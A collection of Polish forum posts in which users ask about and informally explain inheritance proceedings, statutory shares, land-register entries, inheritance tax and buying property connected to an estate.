Zstępni (dzieci, wnuki itd. - a więc w przedstawionej sytuacji
Pani), małżonek oraz rodzice, którzy byliby powołani do spadku na
podstawie ustawy, ale nie dziedziczą ze względu na pozostawiony
testament powołujący do spadku inną osobę, mogą jedynie żądać od
spadkobierców zapłaty zachowku (kwota pieniężna odpowiadająca 1/2
(połowie) tego co otrzymaliby w spadku jako spadkobiercy ustawowi, a
w przypadku gdy osoby te są trwale niezdolne do pracy lub
uprawnionym do zapłaty zachowku jest małoletni zstępny to zachowek
wynosi 2/3 tego co przypadałoby im jako spadkobiercom ustawowym).
Zachowek nie przysługuje im „automatycznie”, nie jest częścią
spadku, która się należy, tak jak o tym Pani napisała. Jest to
jedynie roszczenie o zapłatę, z którym osoba uprawniona może
wystąpić do spadkobiercy, ale nie ma takiego obowiązku. Nie jest też
możliwe zrzeczenie się roszczenia o zapłatę zachowku (choć w
doktrynie pojawiają się opinie, że jest to dopuszczalne), można
jedynie z takim roszczeniem nie występować. W celu dokładniejszego
wyjaśnienia przedstawionego przez Panią zagadnienia, radzę
skonsultować się z notariuszem.

  współwłaściciel umarł - co dalej ???
O tym co wchodziło w skład spadku poinformujecie Panowie urząd skarbowy po
zakończeniu postępowania spadkowego, które trzeba przeprowadzić w sądzie
właściwym dla ostatniego miejsca zamieszkania mamy. W internecie znajdzie Pan
wzory wniosku o stwierdzenie nabycia spadku, do którego należy dołączyć akt
zgonu mamy, akt małżeństwa rodziców i akty urodzenia synów. Najlepiej zrobić
odpisy tych dokumentów, gdyż do sądu naleźy złożyć wniosek wraz z taką ilością
jego kopii (wraz z dokumentami) ilu jest spadkobierców.

  zawiła sprawa potrzebuję rady...
Oświadczenie o przyjęciu lub odrzuceniu spadku mąż może złożyć w
terminie 6 miesięcy od kiedy dowiedział się, że jest spadkobiercą -
u notariusza lub w sądzie. Jeżeli tego oświadczenia nie złoży w
terminie przyjmuje się, że spadek przyjął wprost (czyli, ze nabył
aktywa spadku i długi wchodzące w skład spadku - do ich pełnej
wysokości). Jeżeli mąż inwestuje w dom, który jest budowany na
nieruchomości, która nie jest jego własnością, to przysługują mu
jedynie roszczenia pieniężne związane z jego nakładami. Oddanie domu
do użytkowania nic nie zmienia - jest to tylko informacja, że budowa
została zakończona. Rozumiem, że w skład spadku wchodzi
nieruchomośc, na której budowany jest dom. W takiej sytuacji
współwłaścicielem zabudowanej nieruchomości mąż stał się z chwilą
śmierci spadkodawcy (chyba że w terminie odrzucił spadek). Mąż
powiniem przeprowadzić postępowanie spadkowe (u notariusza albo w
sądzie), aby uzyskać dokument potwierdzający jego prawa do spadku.

  Czy warto walczyć o spadek ????
Dziecko do ukończenia 18 lat nie ma pełnej zdolności do czynności prawnych i w
związku z tym przyjmuje spadek tylko z dobrodziejstwem inwentarza. Oznacza to
ograniczenie jego odpowiedzialności za ewentualne długi spadkowe tylko
wysokości odziedziczonego majątku ( czyli do wartości stanu czynnego jego części
spadku). Co do wiedzy o zobowiązaniach spadkodawcy - trudne pytanie! Nawet
najbliżsi mieszkający ze spadkodawcą do jego śmierci pod jednym dachem nie
zawsze wiedzą wszystkiego o jego sytuacji finansowej. Zwykle należy zacząć od
przejrzenia pozostawionych dokumentów, co w Pani przypadku jest raczej
niemożliwe...

Brak działania ze strony Pani jako opiekuna prawnego bynajmniej nie oznaczać, że
dziecko nie stanie się spadkobiercą. O ile zmarła nie pozostawiła testamentu,
dziecko stało się spadkobiercą i dziedziczy na zasadach ustawowych. Raczej
wskazane byłoby zorientowanie się w sytuacji majątkowej zmarłej i w ciągu 6
m-cy od jej śmierci podjęcie ewentualnej decyzji o zrzeczeniu się spadku. Brak
takiego oświadczenia w w/w terminie oznaczać będzie tak czy inaczej przyjęcie
spadku. Postępowanie spadkowe to już jest osobna sprawa. Jeśli pomiędzy
spadkobiercami jest wola uregulowania sprawy, postępowanie naprawdę jest w miarę
szybkie, nieskomplikowane i nieszczególnie kosztowne. Wiele osób nie
przeprowadza postępowania spadkowego, co się mści po latach, kiedy okazuje się,
że nie można dokonać podziału nieruchomości albo sprzedać mieszkania, a część
spadkobierców rozjechała się po świecie.

  Zgoda na aktualizacje KW
Odpowiadam "z doskoku" i bez zaglądania w przepisy, więc sorry za ewentualne
uproszczenia:

Po pierwsze - teoretycznie każdy właściciel powinien pilnować, aby stan KW był
zgodny z rzeczywistością. Czyli: było postępowanie spadkowe, są papiery -
trzeba dokonać zmian w KW. Fakt, że w zasadzie nie ma sankcji za brak
jakiegokolwiek działania ze strony właścicieli...

Po drugie - Sąd i tak ma obowiązek zawiadomienia pozostałych współwłaścicieli
(uczestników postępowania) o toczącym się postępowaniu, którzy - prawidłowo
zawiadomieni będą mogli w odpowiednim terminie ewentualnie zaprotestować (czyli
wnieść apelację). Problem może być, jeśli się okaże, że nie można skutecznie
dostarczyć im korespondencji, albo, że zachodzi jakaś niezgodność pomiędzy
przedstawionymi dokumentami mającymi stanowić podstawę wpisu a danymi w KW.
Wtedy sąd zapewne ograniczy się do wzmianki, a postępowanie zawiesi (no nie
wiem ??) albo wniosek odrzuci...

  Kupno zadłużonego mieszkania, a sprawy spadkowe
Kupno zadłużonego mieszkania, a sprawy spadkowe
Mam okazję kupić mieszkanie, które jest zadłużone u komornika. Właścicielami jest małżeństwo, przy czym jeden z właścicieli zmarł i było przeprowadzone postępowanie spadkowe - spadek nabyła małzonka zmarłego, dzieci sie zrzekły. Wyrok się już uprawomocnił, ale nie ma jeszcze pisma z sądu o uprawomocnieniu,a jest już wyznaczony termin licytacji tego mieszkania. Chcąc zdążyć przed licytacją mam zamiar spisać umowę u notariusza, że ja zobowiązuję się spłacić zadłużenie ciążące na mieszkaniu, ale właścicielka po otrzymaniu pisma z sądu zobowiązuje sie sprzedać mi swoje mieszkanie. Czy nie mając dokumentu z sądu o uprawomocnieniu się wyroku mogę spisać umowę przedwstępną, czy trzeba by było spisać to wszystko w innej formie. I jak taki dokument powinien wyglądać.
Proszę o szybką odpowiedź, ponieważ na jutro już mam umówione spotkanie z właścicielką i notariuszem
dzięki

  dok. w sprawie nabycia spadku-lata 60
dok. w sprawie nabycia spadku-lata 60
Witam. Potrzebne mi są dokumentów dot. nabycia spadku - sprawa
dotyczy mojego taty, miała miejsce w latach 60.
Dom wraz z działką należał do mojego dziadka ze strony ojca, był
jego majątkiem odrębnym. Dziadek zmarł w 56 roku, gdy mój ojciec był
jeszcze dzieckiem. Dziadek miał jeszcze 2 dzieci z poprzedniego
małżeństwa.W latach 60 przeprowadzono postępowanie spadkowe (brak
testamentu) w którym właścicielami stali się mój nieletni wówczas
tato (rodzeństwo zrzekło się swoich części na mojego tate) oraz
babcia- w udziałach zgodnych z ówczesnym prawem. Następnie babcia w
latach 80 przekazała darowizną swój udział w częściach po 1/2 mojemu
tacie oraz 1/2 swojej siostrze. Mój tato już wtedy tu nie mieszkał,
był za granicą, i nie przykładał zbyt wiele uwagi do tego domu i
działki. Teraz chciał wsoją część przypisać wnukowi i okazuje się,
że jest tylko właścicielem 1/2 budynku i działki ( a przecież miał
swój udział, 2 sióstr i 1/2 po babci). Na dodatek, okazało się, że z
dokumentów wynika, że babcia przekazująć dom wraz z działką w latach
80 byla jedyną włąścicielką, a przecież tak nie było. Mój tato nogdy
nie zrzekł się swojej części na rzecz babci, był jedak nieletni i to
ona zarządzała nieruchomością. W postepowaniu spadkowym po dziadku
dom stał się współwłasnością babci i taty - który otrzymał udziały
swoich 2 sióstr. Myślę, że wystąpił tu gdzieś jakiż błąd. Pytanie-
czy mozna , i w jaki sposób odszukać chronologicznie dokumenty
spadkowe. Czy ten bląd można jeszcze naprawić? Dziękuję za odpowiedź

  Jak ustalić właściciela nieruchomości ?
Odpis z KW? Przeprowadzenie postępowania spadkowego? Zebranie wszystkich info. i dokumentów i udanie się do prawnika?

I jeszcze należy pamiętać, że czas ucieka i być może właśnie w tej chwili ktoś (także dalecy krewni w mieszkaniu własnościowym) dokonuje zasiedzenia tych nieruchomości.

  Proszę mi pomóc!
Sąd sam z siebie nie przeprowadza postępowania spadkowego - potrzebny jest
wniosek zainteresowanych, czyli np. Twój.

Co do szczegółów - proponowałabym wziąć wszystkie dokumenty i poradzić się
prawnika.

W przypadku skutecznej darowizny mieszkania własnościowego musiał być
sporządzony akt notarialny.

  Wniosek o stwierdzenie praw do spadku
Wniosek o stwierdzenie praw do spadku
Jaki wniosek o stwierdzenie praw do spadku należy sporządzić?
Jest bezdzietne małżeństwo państwa Kowalskich – umarł mąż. Zgodnie z
ustawą po mężu dziedziczy żona 1/2 część oraz siostra 1/2 część –
siostra, która umarła jeszcze przed śmiercią brata. Siostra miała
męża – nieżyjący i 2 dzieci, z których również jedno nie żyje, a ma
spadkobierców w postaci męża i dzieci.
Pytanie brzmi, czy chcąc stwierdzić prawa do spadku po mężu –
pani Kowalska musi zawrzeć we wniosku wszystkie koligacje rodzinne i
stwierdzić prawa do spadku po wszystkich zmarłych tzn. nieżyjącej
siostrze męża, jej mężu, córce siostry męża? Czy może napisać we
wniosku, że nie wiadomo czy zostały przeprowadzone postępowania
spadkowe po tych osobach, a sąd weźmie spadkobierców do uzupełnienia
braków?
Czy musi załączyć wszystkie akty urodzenia, akty zgonu oraz
akty małżeństwa osób będących uczestnikami postępowania? Czy sąd
może wezwać osoby będące uczestnikami postępowania do uzupełnienia
dokumentacji czy wnioskodawczyni – pani Kowalska musi złożyć wniosek
+ komplet dokumentów ? Jak najlepiej byłoby załatwić powyższą
sprawę?

  kłopotliwy spadek
w pierwszej kolejności musi Pani przeprowadzić postępowanie spadkowe
po dziadkach skoro razem byli właścicielami (do wniosku należy
dołączyć akty zgonu i ewentualnie testamenty oraz wskazać wszystkich
spadkobierców ustawowych i testamentowych, w międzyczasie musi Pani
w dokumentach rodzinnych/gminie etc ustalać czego dziadkowie byli
właścicielami ponieważ po uprawomocnieniu się postanowienia o
stwierdzenia nabycia spadku trzeba będzie ten spadek zgłościć i
opodatkować w urzędzie skarbowym wskazując cały majątek
odziedziczony wtedy urząd wyda decyzję czy i w jakiej wysokości
należy się podatek - do wszystkich czynności może Pani ustanowić
pełnomocnika

  Śmierć Sprzedającego - prawa Kupującego
Śmierć Sprzedającego - prawa Kupującego
Witam
Zamierzam kupić mieszkanie od osoby, która ma problem z alkoholem. Mieszkanie
jest własnościowe, właściciel jest jedyną osobą, która ma prawo do mieszkania,
nie ma Księgi Wieczystej, nabył je w drodze spadku po matce. Sprawdziłam stan
prawny, dokumenty spółdzielni. Chcemy podpisać umowę przedwstępna sprzedaży u
notariusza i wpłacić zadatek, jednocześnie podając termin miesiąca na
zapłacenie reszty kwoty i spisanie umowy sprzedaży. Sprzedający jak już
wspomniałam ma problem z alkoholem i obawiam się czy po otrzymaniu zadatku nie
zniknie w ciągu alkoholowym i nie przydarzy mu się jakiś wypadek losowy. Jak
wygląda dalsze postępowanie w przypadku jego ewentualnego zejścia? Właściciel
ma dwoje małoletnich dzieci oraz żonę, z którą nie żyje, aczkolwiek nie mają
rozwodu. Czy pozostałą kwotę moge wpłacić na konto dzieci, czy też może
ustanowionego dla nich kuratora, czy może należy czekać na przeprowadzenie
postępowania spadkowego na rzecz dzieci? Tak jak pisałam mieszkanie dostał w
spadku i żona nie ma do niego prawa.
Bardzo proszę o poradę.
Z poważaniem
Katarzyna

  Czy to normalne?
Czy to normalne?
Cześć,
powiedzcie mi prosze, czy taka praktyka jest agencji nieruchomości jest normalna:

Otóż chcemy z Mezem kupić mieszkanie, które oglądaliśmy już 2 razy. Za każdym razem zamiast właściecielki była Pani, która była jakoś zaprzyjaźniona z właściecielka. Ostatnim razem zapytana o stan prawny mieszkania powiedziala, że w postepowaniu spadkowym po zmarlym wspolwlascicelu brala udzial osoba z zespolem downa, ktora powinna byc ubezwlasnowolniona, ale nie byla i przez to byl jakis problem. W zwiazku z ta informacja, poprosilismy agentke o spotkanie z wlasciecielka w celu obejrzenia wszystkich dokumentow i rozmowy o cenie oczywiscie. Nadmienie jeszcze, ze Tesciowa miala wrazenie, jakby osoba prezentująca mieszkanie z czymś się wygadała...
Wczoraj agentka do nas zadzwonila, ze wlascicielka nie ma czasu sie spotkac, chce zadatku w wysokosci 10% (bierzemy kredyt - nie mozemy dac takiej sumy) i że generalnie spotkamy sie dopiero u ich notariusza na podpisaniu umowy, bo on potwierdzi, ze wszystko jest w porzadku, a my wyraźnie podkreślaliśmy, że chcemy zobaczyć dokumenty i pokazać je naszemu prawnikowi...Dodatkowo jest to miszkanie spółdzielcze własnościowe, które nie ma jeszcze KW...

Powiedzcie czy to normalne?

Dziekuje wszystkim, ktorzy mi odpowiedza!

  spadek-pomocy!!!!!
z tego co napisalas to zostalas wezwana do sadu w charakterze
uczestnika postepowania celem odebrania zapewnienia spadkowego

wynikiem takiego postepowania jest wydanie przez sad postanowienia o
stwierdzeniu nabycia spadku przed spadkobiercow ustawowych (skoro
nie bylo testamentu)

a kto takim spadkbierca ustawowym jest - sad moze stwierdzic - poza
dokumentami z usc - na podstawie zapewnienia spadkowego zlozonego
przez jednego ze spadkobiercow a potwierdzonego przez pozostalych

w postanowieniu bedzie jedynie powiedziane w jakim ulamku kto
odziedziczyl spadek

ale nie bedzie kto co odziedziczyl

bo to tego trzeba sprawy o podzial spadku

______
pozdr.

  Problem z mieszkaniem - proszę o pomoc
Bedzie problem z przekonaniem wujka.

Otoz kiedys bylem w jego sytuacji. Zmarla moja ciotka, po ktorej
winienem byc uwzgledniony w gronie spadkobiercow (dziedziczenie
ustawowe) jej mieszkania. Moi kuzyni tak pokierowali rozprawa
sadowa, ze (a) w ogole mnie nie powiadomili o postepowaniu
spadkowym, (b) przed sadem twierdzili, ze mieszkanie zostalo
wykupione za ich pieniadze. Czuje sie oszukany. Nie wiem, jak bylo w
rzeczywistosci. Nikt ze mna o sprawie nie rozmawial, nie pokazal mi
kwitow z przekazow bankowych na dowod wykupienia mieszkania.

W opisanej na wstepie sytuacji byloby "fair" wobec wujka
gdybys 'kasiu' przy okazji rozmowy z nim przedstawila dokumenty i
kwity przekazow, na dowod dokonania wykupu mieszkania z waszych
pieniedzy. No bo bez nich wujek potraktuje Twoje opowiadanie za
bajke, ktorej jedynym celem jest pozbawienie go naleznego spadku.

Zatem radze ... spojrz na sprawe rowniez od strony wujka.

  jak to uregulowac
Jeżeli księga istnieje...
yoggi13 napisała:

> Zakładam, że numeru księgi wieczytej pan nie ma. Najlepiej udać
> się do geodezji. Po podaniu adresu powinni podac numer księgi
> wieczystej. Następnie udac się do wydziału wieczystoksięgowe w
> sądzie rejonowym włssciwym dla położenia niercuhomości.
> Przeprowadzić postępowanie spadkowe po rodzicach w sądzie
> cywilnym. Wpisać spadkobierców w miejsce zmarłych rodziców do
> księgi wieczystej

Jeżeli księga wieczysta istnieje to tak. Można wziąć odpis z księgi
wieczystej, a nawet dostać się do dokuemntów będących podstawą
wpisów w księdze (wziąć np. z sądu prowadzącego księgę wieczystą
odpis aktu notarialnego, jakim Pańscy rodzice nabyli nieruchomość).

Jeżeli jednak księga wieczysta nie istnieje (a może nie istnieć -
nie wiemy), to na podstawie wypisu z ewidencji gruntów można założyć
sprawę spadkową, a następnie na podstawie wypisu i wyrysu z
ewidencji gruntów + pramocne postanowienie sądu o nabyciu spadku
można wnioskować o założenie księgi wieczystej i wpisanie Pana i
rodzeństwa jako współwłaścicieli.

W wypisie z ewidencji gruntów może być wykazany - zamiast numeru
księgi wieczystej) numer aktu notarialnego, jakim Pańscy rodzice
nabyli własność - można wnioskować o wydanie z geodezji
potwierdzonej za zgodność z oryginałem kopii dokumentu.

Nic w przyrodzie nie ginie...

  Początek końca przemyskich kamienicznych oszustów?
W innych miastach połamali sobie zęby na źle przeprowadzonych postepowaniach
spadkowych oraz kserokopiach uwierzytelnień polskich przedstawicielstw
dyplomatycznych pochodzących z innych zbiorów dokumentów i spadkobierców- słupów
podstawionych do transakcji. W 2002 r. na lotnisku w Balicach został zatrzymany
osobnik z walizką wyładowaną fałszywymi dokumentami, pełnomocnictwami. Sprawę
umorzono. Czy przypadkiem dokumenty z tej walizki nie służą do wyłudzania
nieruchomości w P-slu?

  potrzebuję pilnie odpowiedzi !!
jednak aby ci ktorzy chca kupic to mieszkanie maja przyjsc do banku z wypisem z
ksiegi i umowa przedwstepna, to jedyne wymagane dokumenty procz zaswiadczen o
zarobkach, a zamiast wypisu z ksiegi wieczystej mogloby byc zaswiadczenie ze
spoldzielni ze to mieszkanie jest moje od maja 2006 (czyli od smierci babci i
przeprowadzonego postepowania spadkowego) czy takie papiery ze spoldzielni
wystarcza bo nie mam ochoty zakladac ksiegi wieczystej na siebie jesli chce to
sprzedac, i czekac kolejne 2-3 miesiace jesli nie dluzej na jej zalozenie.

  Sprawa o zasiedzenie!
Za mało danych, żeby wydać opinię na forum - czyja była wcześniej ta nieruchomość, czy były jakieś postępowania spadkowe itp! Po to Pana Babcia została powiadomiona o toczącym się postępowaniu, żeby ewentualnie podważyć twierdzenie krewnej o zasiedzeniu . Proszę odszukać wszystkie kluczowe dokumenty, uporządkować fakty i poradzić się prawnika. W każdym razie sam udział w postępowaniu przed sądem nic nie kosztuje, a profesjonalny pełnomocnik nie jest konieczny (chociaż być może wskazany).

  Jak uzdrowić polskie drogi i polski bałagan -Rzepa
Jak uzdrowić polskie drogi i polski bałagan - cd.
Dochodząc do powyższej konkluzji, sąd nie badał prawdziwości twierdzeń
wnioskodawcy, gdyż w niniejszym postępowaniu - zgodnie z § 1 rozporządzenia
ministra sprawiedliwości z 24 września 1965 r. o zasadach i trybie postępowania
w sprawach o złożenie do depozytu sądowego - nie jest do tego uprawniony.
Natomiast pozostałych 31 spraw odsyłano kilkakrotnie do inwestora, żądając
dodatkowych dokumentów, i mimo interwencji u prezesa sądu załatwiono je dopiero
po dziesięciu miesiącach. A właściciele, którzy wreszcie po dwóch latach
załatwili sprawy spadkowe, nie mogli pobrać pieniędzy i wyprowadzić się z
budynków znajdujących się w pasie drogowym. Panie ministrze Ziobro! Wygląda na
to, że sądy też mogą się przyczynić do przyspieszenia budowy dróg.

Okazją do zinwentaryzowania wszystkich słabych punktów procesu przygotowawczego
związanego z budową dróg i zaproponowania konkretnych wniosków będzie
konferencja pod hasłem "Polskie drogi - od pomysłu do pozwolenia na budowę",
która odbędzie się 14 - 16 czerwca 2007 roku w Nowym Sączu.

Bogdan Grzechnik
Szczegółowe informacje na temat konferencji i karta zgłoszenia znajdują się na
stronie internetowej www.sgp.geodezja.org.pl

  Trudna sytuacja prawno-finansowa mojej mamy(długie
Z tą zamianą też nie jest tak prosto, bo działka z domem nie należy bezpośrednio
do ojca, tylko do niego i jego dwóch braci. Już tłumaczę. Cała ogromna działka,
składająca się z naszej i dwóch sąsiednich należała do ojca mojego ojca. Dziadek
zmarł i formalnie cały ten teren należy do jego trzech synów (w tym mojego
ojca). Obecnie sprawa znajduje się w sądzie, trwa postępowanie spadkowe, ale
przedłuża się, bo są jakieś niezgodności w dokumentach odnośnie wielkości działek.
Każdy z trzech spadkobierców musi się zrzec dwóch trzecich działki na korzyść
dwóch pozostałych. Dopiero potem ojciec może zarządzać nieruchomością.

  Ziemia za zasiedzenie. Ile stracą gminy?
I na dodatek bzdurne informacje. 1) procedura o zasiedzenie nie jest wcale taka
prosta jak tu opisują - fakt ,że ktoś włada daną nieruchomością jak właciciel -
trzeba udowodnić m.innymi poprzez a) wypis i wyrys z rejestru gruntów, b)
opłacane od 30 lat (co najmnniej) podatki od nieruchomości c) zeznania
świadków d) mapę do celów sądowych e) dokumenty na podstawie czego się włada -
np jakąś umowę kupna itd 2) należy wnieść opłatę wpis do sądu - a on jest
procentowy tj wielkość jego uzależniona jest od wartości nieruchomości - więc
do tego należy dołożyć też wycenę tejże nieruchomości no i 3) gmina może
przedstawić swoje dokumenty. A zatem nie jest to droga płatkami róż lecz
kolcami usiana. I zapewniam ,że sprawa będzie toczyć się, a toczyć bo trzeba
zawiadomić wszystkich ew. zainteresowanych ( a niektórzy mogą sobie już umrzeć -
zatem ich następców -a postępowanie spadkowe też się może po drodze przydażyć)
no bajka po prostu.;)

  Dowod Osobisty
Przed Swietami zlozylam dokumenty na nowy dowod. Nie jest to takie proste jakby
sie wydawalo.Powiedziano mi, ze musze miec zameldowanie stale, poniewaz
sprzedalam moj dom i juz takowego nie mialam. Poinformowalam sie jakie dokumenty
sa potrzebne i przyszlam z tym majdanem do urzedu. Okazalo sie, ze wypis z
ksiegi hipotecznej jest kopia i musze dostarczyc oryginal. Dostarczylam
nastepnmego dnia oryginal i okazalo sie, ze widnialo tam nazwisko mojego sp.
ojca. Musialam wiec dostarczyc dokument z postepowania spadkowego.W koncu
zostalam zameldowana i z dowodem juz nie bylo zadnych problemow. Drobny niuans -
usilowano podwazyc jakosc moich zdjec, ale nie wytrzymalam i zaczelam krzyczec.W
rezultacie okazalo sie, ze sa dobre. W piwnicy urzeduje fotograf urzedowy i
pewnie usiluja wysylac mu klientow. Otrzymalam kwitek z data odbioru, dokladnie
po miesiacu. Nalezy odebrac osobiscie, ale nawet po wielu latach tak jak
informowal o tym Sylwek.

  zakup domu
Na pewno musi okazać sie aktem własności domu , sprawdź czy w akcie nie ma
zapisu o współwłaścicielu itp. Poza tym sprawdź, czy nie ma obciażonej hipoteki
(księgi wieczyste - wypis).
A najlepiej faktycznie zasięgnij porady notariusza - powie Ci jakie dokumenty
są wymagane w takich sytuacjach.
Nam na przykład potrzebny był wyrok sądu o przeprowadzonym postępowaniu
spadkowym i ustanawiający właściciela, bo dom sprzedawały dzieci po swoich
rodzicach. Każdy przypadek jest inny

  dom po babci
najpierw trzeba przeprowadzić postępowanie spadkowe i Mama i jej
rodzeństwo muszą uzyskac prawomocne orzeczenie sądu o nabyciu praw
spadkowych..
Potem - udziały w nieruchomości maga Ci sprzedać czy darować (Mama)
Żeby kupić - możesz wziąć kredyt. Jak to załatwić? Przyjechać do
Polski - choćby na chwilę -zostawić pełnomocnictwo do kupna i
załatwiania spraw kredytowych, zgromadzić dokumenty do kredytu (i
nieruchomosci i Twojej sytuacji finansowej...)
Teoretycznie jest to mozliwe do załatwienia z zagranicy (maile, dhl,
pełnomocnictwo u miejscowego notariusza plus apostille (?) - ale
trzeba się choć trochę znać.....
Raczej przyjedź
AL
Pozdr
al

  Długi a sprzedaż mieszkania
A robiliście w ogóle sprawę spadkową?
A robiliście w ogóle sprawę spadkową? - że tak z ciekawości
zapytam...

Od października 2008 będziecie też mogli ZAMIAST robić postępowanie
spadkowe w sądzie, udać się na przykład do notariusza (ale z
kompletem dokumentów) i uzyskać "notarialne poświadczenie
dziedziczenia", które będzie równie ważne, jak obecnie postanowienie
sądu o nabyciu spadku.

Lub po dawnemu - do sądu.

  gdzie szukac dokumentów w sprawie nabysia spadku
gdzie szukac dokumentów w sprawie nabysia spadku
Witam. Potrzebne mi są dokumentów dot. nabycia spadku - sprawa
dotyczy mojego taty, miała miejsce w latach 60.
Dom wraz z działką należał do mojego dziadka ze strony ojca, był
jego majątkiem odrębnym. Dziadek zmarł w 56 roku, gdy mój ojciec był
jeszcze dzieckiem. Dziadek miał jeszcze 2 dzieci z poprzedniego
małżeństwa.W latach 60 przeprowadzono postępowanie spadkowe (brak
testamentu) w którym właścicielami stali się mój nieletni wówczas
tato (rodzeństwo zrzekło się swoich części na mojego tate) oraz
babcia- w udziałach zgodnych z ówczesnym prawem. Następnie babcia w
latach 80 przekazała darowizną swój udział w częściach po 1/2 mojemu
tacie oraz 1/2 swojej siostrze. Mój tato już wtedy tu nie mieszkał,
był za granicą, i nie przykładał zbyt wiele uwagi do tego domu i
działki. Teraz chciał wsoją część przypisać wnukowi i okazuje się,
że jest tylko właścicielem 1/2 budynku i działki ( a przecież miał
swój udział, 2 sióstr i 1/2 po babci). Na dodatek, okazało się, że z
dokumentów wynika, że babcia przekazująć dom wraz z działką w latach
80 byla jedyną włąścicielką, a przecież tak nie było. Mój tato nogdy
nie zrzekł się swojej części na rzecz babci, był jedak nieletni i to
ona zarządzała nieruchomością. W postepowaniu spadkowym po dziadku
dom stał się współwłasnością babci i taty - który otrzymał udziały
swoich 2 sióstr. Myślę, że wystąpił tu gdzieś jakiż błąd. Pytanie-
czy mozna , i w jaki sposób odszukać chronologicznie dokumenty
spadkowe. Czy ten bląd można jeszcze naprawić? Dziękuję za odpowiedź

  gdzie szukac dokumentów w sprawie nabysia spadku
W sądzie, w którym była prowadzona sprawa
Gość portalu: beata napisał(a):

> i w jaki sposób odszukać chronologicznie dokumenty
> spadkowe.

Sprawa musiała być prowadzona w sądzie rejonowym (według ostatniego
miejsca zameldowania zmarłych osób) w wydziale cywilnym.

Należy złożyć wniosek do tego sądu o wydanie odpisu Postanowienia
Sadu o nabyciu spadku z podaniem osoby, po której było prowadzone
postępowanie spadkowe, daty zgonu i orientacyjnych dat, kiedy mogło
być prowadzone to postępowanie. Im więcej danych będzie w piśmie tym
łatwiej sądowi będzie to odszukać.

Opłata sądowa za wydanie odpisu Postanowienia: 6 zł za stronę (a
nieraz Postanowienie się na jednej właśnie stronie mieści).

  Podatek od spadku (mieszkanie)
Jesli oboje rodzice zmarli po 1 stycznia, to rzeczywiscie nie bedzie podatku,
bo od 1 stycznia sa nowe przepisy.

Tak czy owak wpierw nalezy przeprowadzic postepowanie spadkowe w sadzie, a
potem po orzeczeniu wyroku w ciagu 1 miesiaca zlozyc zeznanie na druku SD-Z1.

Niestety bedzie za to podatek od sprzedazy (choc rozumiem ze brat nie chce
sprzedac, wiec nie musi to dotyczyc), chyba ze bedzie zameldowanie przez 1 rok,
albo nowy wlasciciel sprzeda po 5 latach.

Do Sadu potrzebne sa dokumenty, pelnomocnictwo na razie nie, bo wszystko w
sadzie mozna zalatwic korespondencyjnie. Na sprawie chyba tez nie musi sie
byc, moze byc wyrok wydany zaocznie (tego na 100% nie jestem pewna).

Pozdrawiam

  Odzyskanie ziemi nadanej aktem noraialnym w 1918
Nie było postępowania spadkowego.Ta ziemia była/jest wg aktu własnością
rodziców mojej babci.Z powodu wojny oni przenieśli się w inny rejon kraju i
dziwnym zbiegiem okoliczności ( nam nieznanym) słuch o tej ziemi /położonej w
województwie Kujawsko -Pomorskim/ do tej chwili zaginął. babcia zaczęła
ostatnio wspominać o swojej "ojcowiźnie" i odszukała dokumenty. Chciałam po
prostu wyjaśnić czy jakiekolwiek kroki maja wogóle sens ? tzn. czy sa
jakiekolwiek sznse ?

  kłopot z zamelowaniem-pytanie>>
kłopot z zamelowaniem-pytanie>>
Witam, mieszkam w W-wie, gdzie jestem zameldowana. Rodzice mieli nieruchomość
rolną, której są współwłaścicielami. Po smierci taty nie przeprowadzono
postepowania spadkowego, jednak w dokumentach mama figuruje jako
współwłaścicielka.

Czy w związku z tym może ona zameldować się na wsi i czy może zameldować mnie?
Mam kłopoty z długami czynszowymi, które chcę spłacić, ale jednocześnie nie
będę w stanie płacić czynszu wysokiego za mieszkanie. Jedynym rozwiązaniem
jest dla mnie jak najszybsze wymeldowanie się z tego mieszkania. Ale chcę być
gdziekolwiek zameldowana i dobrym rozwiązaniem jest dla mnie meldunek na wsi.

  więcej niż jeden właściciel mieszkania spółdz.
Wydaje mi się, że agencja powinna to sprawdzić wcześniej a nie jak bedzie
klient. Przecież sprawy spadkowe nie załatwia sie od ręki. Kilent powinien
nadać sprawę czystą. A już agencja powinna tego dopilnować. W sumie to nie
jest wielka filozofia pobrać dokumenty od sprzedającego i je przeanalizować.
Ale tak to już jest z agencjami.
Oczywiście musi byc postępowanie spadkowe.

  tato umarł nie zostawił testamentu więc
1. Proponuję skierować do sądu cywilnego sprawę o nabycie spadku po zmarłym i w
toku postępowania podpisać ugodę sądową w myśl której wszyscy spadkobiercy
zrzekaja się swego udziału w masie spadkowej na rzecz brata.
2. Ewentualnie można doprowadzić sprawę sądową do końca a potem aktem darowizny
sporządzonym u notariusza przekazać całość bratu.
3. Brak KW o tyle komplikuje sprawę, że może sie okazać że ojciec nie był
wyłącznym właścicielem - niezależnie od tego i tak trzeba będzie odszukać
dokumenty którymi nabył prawa do tej działki.

  co zrobić z samochodem po śmierci taty ?
Musicie przeprowadzić najpierw sprawę spadkową w sondzie. Tam zostanie
podzielony cały majątek wedle obowiązującego prawa (chyba że pozostał testament).
Po takiej rozprawie otrzymacie postanowienie sądowe stwierdzające nabycie
spadku, a wtedy możecie się udać do wydziału komunikacji z tym dokumentem gdzie,
przerejestrujecie auto na tyle osób ile jest wymienionych w tym dokumencie sądowym.
Jest jeszcze możliwość taka aby po wydaniu przez sąd dokumentów udać się do
notariusza i tam np. zrzec się prawa do własności auta na jedną osobę i wtedy
dopiero zarejestrować już na konkretną osobę.
Dodam tylko jeszcze że prędzej czy później i tak będziecie musieli przeprowadzić
postępowanie spadkowe
pozdro

  co zrobić z samochodem po śmierci taty ?
lu753 napisał:

> Musicie przeprowadzić najpierw sprawę spadkową w sondzie. Tam zostanie
> podzielony cały majątek wedle obowiązującego prawa (chyba że pozostał
testament
> ).
> Po takiej rozprawie otrzymacie postanowienie sądowe stwierdzające nabycie
> spadku, a wtedy możecie się udać do wydziału komunikacji z tym dokumentem
gdzie
> ,
> przerejestrujecie auto na tyle osób ile jest wymienionych w tym dokumencie
sądo
> wym.
> Jest jeszcze możliwość taka aby po wydaniu przez sąd dokumentów udać się do
> notariusza i tam np. zrzec się prawa do własności auta na jedną osobę i wtedy
> dopiero zarejestrować już na konkretną osobę.
> Dodam tylko jeszcze że prędzej czy później i tak będziecie musieli
przeprowadzi
> ć
> postępowanie spadkowe
> pozdro

dzięki lu753, ale czy bez postępowania sądowego nie da rady ? mama nie moze
sama sprzedać samochodu ?

pozdr

  dziedziczenie gosp.rolnego once again-do Bebiak
Cześć Moni
Gość portalu: Moni napisał(a):

